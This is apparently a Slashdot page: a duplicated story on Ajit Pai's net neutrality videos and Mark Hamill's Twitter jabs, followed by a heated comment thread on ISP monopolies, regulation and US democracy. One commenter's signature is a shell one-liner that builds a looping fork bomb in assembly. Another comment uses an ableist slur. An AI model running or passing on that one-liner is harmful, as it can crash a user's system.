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Ajit Pai Taunts Net Neutrality Critics. Mark Hamill Taunts Ajit Pai (mashable.com)
An anonymous reader writes:
Just days before voting to repeal net neutrality regulations, FCC chairman Ajit Pai introduced a comedy video at the annual gathering of the Federal Communications Bar Association -- and it offered its own self-disparaging version of Pai's tenure as a Verizon attorney in 2003. "We want to brainwash and groom a Verizon puppet to install as FCC chairman," says a real-world Verizon executive appearing in the videotaped skit. "That sounds awesome," Pai responds.
And the day of the vote Pai also appeared in another trying-to-be-funny video on the conservative site The Daily Caller demonstrating "seven things you can still do on the internet after net neutrality." In the first image he's holding a fidget spinner and dressed as Santa Claus, and the unmistakably patronizing video reminds critics that they can still upload photos of their meals to Instagram and "post photos of cute animals, like puppies." He also demonstrated that net neutrality critics can still stay part of their favorite fan communities -- by showing himself holding a light saber. And this unexpectedly drew the wrath of Star Wars actor Mark Hamill, who responded on Twitter by calling him "Ajit 'Aren't I Precious?' Pai."
Hamill also added that "you are profoundly unworthy 2 wield a lightsaber. A Jedi acts selflessly for the common man, NOT lie 2 enrich giant corporations." When U.S. Senator Ted Cruz responded -- likening government overreach to Darth Vader and urging Hamill to "reject the dark side" -- Hamill responded again, complaining that the Senator was "smarm-splaining." Hamill also added, "you'd have more credibility if you spelled my name correctly. I mean IT'S RIGHT THERE IN FRONT OF YOU! Maybe you're just distracted from watching porn at the office again."
The Houston Chronicle reports that the newest meme on Twitter is now Pai's over-sized coffee mug stamped with the logo for Reese's Peanut Butter cups, "which he occasionally sipped from during the widely-criticized reversal." The Dangerous Minds site notes that some angry net neutrality supporters have even taken their complaints to Reese's Facebook page, adding "Perhaps these protester's pleas to the candy company are simply a misguided hope that someone, ANYONE will listen to their frustration."
"Clearly, the FCC wasn't listening to the estimated 83% of Americans who support net neutrality."
And the day of the vote Pai also appeared in another trying-to-be-funny video on the conservative site The Daily Caller demonstrating "seven things you can still do on the internet after net neutrality." In the first image he's holding a fidget spinner and dressed as Santa Claus, and the unmistakably patronizing video reminds critics that they can still upload photos of their meals to Instagram and "post photos of cute animals, like puppies." He also demonstrated that net neutrality critics can still stay part of their favorite fan communities -- by showing himself holding a light saber. And this unexpectedly drew the wrath of Star Wars actor Mark Hamill, who responded on Twitter by calling him "Ajit 'Aren't I Precious?' Pai."
Hamill also added that "you are profoundly unworthy 2 wield a lightsaber. A Jedi acts selflessly for the common man, NOT lie 2 enrich giant corporations." When U.S. Senator Ted Cruz responded -- likening government overreach to Darth Vader and urging Hamill to "reject the dark side" -- Hamill responded again, complaining that the Senator was "smarm-splaining." Hamill also added, "you'd have more credibility if you spelled my name correctly. I mean IT'S RIGHT THERE IN FRONT OF YOU! Maybe you're just distracted from watching porn at the office again."
The Houston Chronicle reports that the newest meme on Twitter is now Pai's over-sized coffee mug stamped with the logo for Reese's Peanut Butter cups, "which he occasionally sipped from during the widely-criticized reversal." The Dangerous Minds site notes that some angry net neutrality supporters have even taken their complaints to Reese's Facebook page, adding "Perhaps these protester's pleas to the candy company are simply a misguided hope that someone, ANYONE will listen to their frustration."
"Clearly, the FCC wasn't listening to the estimated 83% of Americans who support net neutrality."
He's a retard.
Mark Hamill seems to forget that, in the Star Wars universe, the light sabre lost to the politicians scheming... Palpatines manoeuvres in the senate got him far further than wielding a light sabre ever did.
I just checked my watch, and the public input was still not a popularity contest. Considering the slander campaign waged across nearly the entire internet for the last few months, I'm surprised that only 83% of those polled were opposed to restoring the open internet. When you are bombarded with messages that some action is going to unleash biblical plagues, knock the moon out of orbit and give birth to the antichrist, it is hard to publicly support it - even if you don't particularly believe the nonsense.
Oh, and the mug memes are (mostly) not making fun of Ajit. Reee!
See that "Preview" button?
If there was any remaining doubt, it has now been erased: Ajit Pai is not only incompetent, in the pocket of some of the biggest of all big businesses, against the will of the people, and morally corrupt, he's also a complete clown. (And I mean clown in the most disrespectful way possible, not in the fun loving, flower-squirting, balloon-bending sense.) I can't believe something as important as the FCC is in this moron's hands. You can debate the merits/follies of an outsider/village idiot like Trump all day, but Ajit Pai's nonsense is indefensible.
This is a hacked account, for which the owner can not be held responsible.
It's never a better day than when Slashdot decides to cover Twitter fights.
I can't wait till we get the posts about Little Billy's pranks in the 2nd grade computer labs!
You can use a belt loop as "bump stock" to acquire automatic fire. Should be ban belt loops on pants too?
People don't use belt loops to kill dozens upon dozens of innocent civilians. You could use a screwdriver to kill too, but that doesn't mean people shouldn't carry swords and machetes around in public all day. Playing a semantics game doesn't mean your position or opinion isn't patently wrong.
This is a hacked account, for which the owner can not be held responsible.
So, internet regulation is now back to what it was from circa 1980 - 2015? The horror .... the horror ....
Yeah, they have been doing some really shady shit.
. . . the major problem with the FCC’s move: It forced ISPs into an 80-year-old framework designed for the telephone monopolies of a much different era. Those regulations were more concerned about things like controlling market power than, say, promoting innovation.
Except this is exactly the issue we are worried about. How is it a much different era? Did companies stop being greedy? Did they stop consolidating to control massive swaths of customers? How is this era any different?
Anons need not reply. Questions end with a question mark.
The internet and the legacy phone system may make use of related technologies, but the business, competitive environment, uses, and innovation are very different.
Let's take this argument back 80 years.
The telephone and the legacy power pole system may make use of related technologies, but the business, competitive environment, uses, and innovation are very different.
What business does a telephone company have caring about how I use my telephone? I paid for it, so but out!
What business does an Internet Service Provider have caring about I my Internet service? I paid for it, so but out!
If you are only worried about "greedy companies" and aren't concerned about the stifling effects of government regulation then you don't worry enough about enough things.
Please, inform me of the stifling effects net neutrality because there literally are none. The people that claim there are list things that are not related to net neutrality which is to say they have no argument or don't understand what net neutrality means.
Anons need not reply. Questions end with a question mark.
Like constricting competitor's streaming media downloads? Yup, they have. Now it will be legal. The fear is - at least among the few who actually have a brain - that the various pricing schemes imposed by the oligiopolistic vertically integrated "content providers" will make the internet just another kind of cable where you have to subscribe to a "package" of content in order to get the small fraction of what's provided that you actually want. The problem is restricting pricing is a great way to entrench the current "winners" and eliminate innovation. Damned if you do, damned if you don't. I don't believe the government is competent to pick commercial winners and losers, but I also don't want an industry (the Web) restricted by only a few providers. The government seems to be both picking the winners and allowing massive industry consolidation. Worst of both worlds. But then again competent government is an oxymoron.
Search engines that don't derank for US party political reasons.
Actually, now google can pay to ensure that competing search engines always have a slower connection or do not connect at all.
News sites that don't ban and remove news.
Actually, now big news sites can pay to ensure that smaller sites have long loading times or even inject ads.
SJW social media that is not banning accounts and reporting users to their governments.
Actually, now SJW social media can pay to keep a competing site from ever connecting.
NN provided political cover for a lot of net censorship.
Reads like you don't understand the first thing about what NN really means.
With the NN rules removed new networks and services can emerge.
With the NN rules removed, new networks and services will have to be able to spend as much money as the giants they are competing against.
Anons need not reply. Questions end with a question mark.
Yeah they are. In fact, nearly every ISP is in exactly the same position as the original AT&T.
The part you're missing is that when it comes to consumer impact, it doesn't matter if there's a better ISP in a city a hundred miles away. You still live in your town, and you're not going to pack up, sell your house, and move to another city just to get better Internet service. You're stuck with what is available in your geographical area.
The reason they broke up the Bell system and, in the process, massively regulated the resulting smaller companies, is that geographical monopolies are fundamentally bad, and it doesn't make a dime's worth of difference how big the geographical area is. The critical part of the AT&T breakup was not splitting up the nationwide monopoly on end-user access, but rather splitting the long-distance provider from the end-user access provider, eliminating any real opportunity for the latter (which were regional monopolies) to limit which long-distance carrier you could use. We have almost the exact same problem now, with ISPs also being cable providers and voice telephone providers that can (and often do) unfairly compete with other streaming video and voice providers that operate over the Internet.
As for the equipment thing... well, Comcast won't provide static IP blocks without renting a Comcast Business Gateway from them. So we've kind of gotten back to that problem, too.
In other words, in every way other than the nationwide aspect, we've been at the exact same point that led to the breakup of AT&T for at least half a decade, if not longer. And as I said earlier, it doesn't matter if an ISP has a monopoly only in your town, in the county, or in an entire region. Unless your house has wheels, you're not going to move it to the next town over, the next county over, or the next state over just to get a better ISP. So anybody claiming that regional wire-line monopolies are somehow different from national wire-line monopolies in any meaningful way is kidding him/herself.
Just saying.
Check out my sci-fi/humor trilogy at PatriotsBooks.
The removal of NN will allow new brands to emerge.
Boy, do you have that backwards.
Search engines that don't derank for US party political reasons.
Nope. Without NN, your ISP can redirect your search requests to their own search engine without even having to tell users that they're doing it. You might not even know that you're getting a substandard experience. Big search engines can, of course, afford to pay those ISPs to avoid that, but those new brands you're hoping will emerge? They won't have the money to do so, so they'll be stillborn.
And the same problem exists with all of your other ill-informed beliefs about net neutrality. Repealing net neutrality doesn't create opportunities for new Internet companies to emerge. In point of fact, the repeal of net neutrality does the exact opposite, providing new ways for existing large companies to become entrenched in ways that keep new players from being able to enter the field at all.
Check out my sci-fi/humor trilogy at PatriotsBooks.
Was anybody actually surprised by the vote?
It was crystal clear which way it was going to go as soon as Trump announced it. All the protesting and wailing was just background noise.
No sig today...
the might of the whole galaxy was against the Jedi and they got killed off one by one
You say that like it was a bad thing. Look, the Jedi had NOTHING TO OFFER the people of the galaxy. The Empire brought peace and order. Building the Death Star created a Keynesian expansion that provided prosperity for trillions of people. Life was good. Then the Jedi destroyed all of that, killed the emperor, and the galactic economy collapsed. Soon people were reduced to scavenging the wreckage left behind by the golden age of empire. Of course the people turned against the Jedi. Can you blame them?
Trump - the Emperor
Pence - the Emperor's left hand and a religious fundamentalist => no religious freedom
Scott Pruitt - EPA dismantling agent => no healthy environment and no protection from dangerous and harmful substances in our food and water
Ajit Pai - FCC dismantling agent => no net neutrality => no freedom in communication and information
Steven T. Mnuchin - Give it to the rich => no state, no security
This is not drain the swamp of corruption. This is more like drain all remaining habitats and screw the population so they sit all in a dessert.
I know how to use the internet without Google, without Facebook, without Twitter.
How do I do it without an ISP?
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Was anybody actually surprised by the vote?
It was crystal clear which way it was going to go as soon as Trump announced it. All the protesting and wailing was just background noise.
If the leaders of a democracy are going to treat its citizens as mere background noise, then we no longer hold the status of a democracy, and should stop trying to proclaim we are.
"The main difference between semi-auto and a bump stock in a large crowd of people is how fast you run out of ammo. Lethality is about the same overall."
No, no it is not. Unless you assume an unarmed crowd who just stand still. In either case, bump stocks are not the point.
The shooting in Vegas was a tragedy, of that there can be no doubt, but the shooting related death toll in the US is rather insignificant compared to any leading cause of death and certainly is nothing compared to the lives saved because an invading power knows how costly a ground invasion of the heavily armed US would be. The patriots whose blood renews the tree of liberty? Who said they would all be soldiers? Have we really become a nation of cowards who tuck tail and sell out the freedoms so many of our troops have died for just to get a slight gain in our social agendas or at the first indication there is some kind of civilian risk or price for those rights?
you'd be better off petitioning your local government to open the local loop to competition. not everything has to be done at the federal level...
100 million Americans have but one provider to choose from. Google is struggling to compete.
Petitioning at the local government level is akin to pissing in a strong wind with your mouth wide open.
The US isn't a democracy, it's a representative Republic.
http://thefederalistpapers.org...
It has been observed that a pure democracy if it were practicable would be the most perfect government. Experience has proved that no position is more false than this. The ancient democracies in which the people themselves deliberated never possessed one good feature of government. Their very character was tyranny; their figure deformity. â" Speech in New York, urging ratification of the U.S. Constitution (1788-06-21)
I'm not even American, and even I know that.
You vote for a President and the President appoints people like Pai. Now, admittedly you can make a case that appointing bureaucrats who can then make rules on the fly is something that people like Hamilton may well have had some issues with. However he definitely wasn't a fan of direct democracy, Classical Athens style.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If the leaders of a democracy are going to treat its citizens as mere background noise...
The US is not a democracy, full stop.
The US is a representative republic. And they *did* listen to the people, the people who elected their party and president to represent them with this internet deregulation as one of the campaign promises prior to the election. Elections have consequences, particularly for contentious executive-branch Agency/Dept./Bureau/etc administrative unilateral fiats. Same thing as with Executive Orders. What one administration can do, another can undo.
Strat
Progressivism (aka US 'Liberalism'): Ideas so good they need a police/surveillance-state to enforce.
...the shooting related death toll in the US is rather insignificant compared to any leading cause of death and certainly is nothing compared to the lives saved because an invading power knows how costly a ground invasion of the heavily armed US would be.
Are you seriously suggesting that the reason Mexico hasn't invaded is that they're more afraid of civilians with hunting rifles than the Army's tanks and the Air Force's bombers?
Would you characterise the recent FCC behaviour as consistent with this?
Requiem for the American Dream
Something that people never consider is that "Net Neutrality" is an explicit Federal regulation of the internet.
It places the Internet under Federal control.
Regulation is not the same as control. For instance, saying you may only drive on the right side of the road is not controlling use of roads nor where they go, only that traffic must stay right. Similarly with the Net Neutrality legislation in concept - it isn't regulating where it goes nor what it can carry, but only saying that everything must be treated equally. You can't charge the ACME brick load for driving down your network pipe and let the provider's brick load drive down free.
This would be accurate if the gerrymandering that put these people into office weren't so disgustingly abundant. The representatives that are "elected by the people" are nowhere near an accurate representation of the will of the people.
If the leaders of a democracy are going to treat its citizens as mere background noise...
The US is not a democracy, full stop.
The US is a representative republic. And they *did* listen to the people, the people who elected their party and president to represent them with this internet deregulation as one of the campaign promises prior to the election. Elections have consequences, particularly for contentious executive-branch Agency/Dept./Bureau/etc administrative unilateral fiats. Same thing as with Executive Orders. What one administration can do, another can undo.
Strat
Bollocks, republic and democracy are not mutually exclusive things. The USA is a democratic republic, or more specifically a federal republic with features of a representative democracy where where elected individuals represent the citizen body in government. If you require further proof read the writings of the founding fathers, the federalist papers and a whole mountain of other literature on the subject although most of us don't need to do more than note the fact that every two years you guys go out and directly elect congress critters and senators that are supposed to represent you in the US congress. Furthermore every four years you also directly elect a bunch of people that in turn elect a president on your behalf. That last bit is a quite strange arrangement to be sure but most of the rest of your process of choosing your leaders makes the US a republic with a form of representative democracy even if it has some esoteric features. What the US isn't is a pure direct democracy but then very few countries practice pure direct democracy except maybe certain parts of Switzerland where all the oath brothers and oath sisters (aka. the citizenry) assemble in public places all over each canton (since even the Appenzellers have finally been dragged kicking and screaming into the modern age and now allow women to vote) and the entire citizenry then votes on legislation without any representatives acting as intermediaries. Obviously such a system would have been rather hard to coordinate in the US of the 18th century so, unsurprisingly, the founding fathers of your country went the representative way. The problem the USA has, like many other countries with representative democratic systems, is that not only have your democratically elected representatives come to believe that they are elected by you, the people, to serve the interests of the oligarchs who stuff their pockets full of money, they have convinced large portions of the electorate of this as well. In my estimation and that of many Americans this is a process that is in dire need of begin reversed and Ajit Pai is just one living breathing and smugly grinning example of why.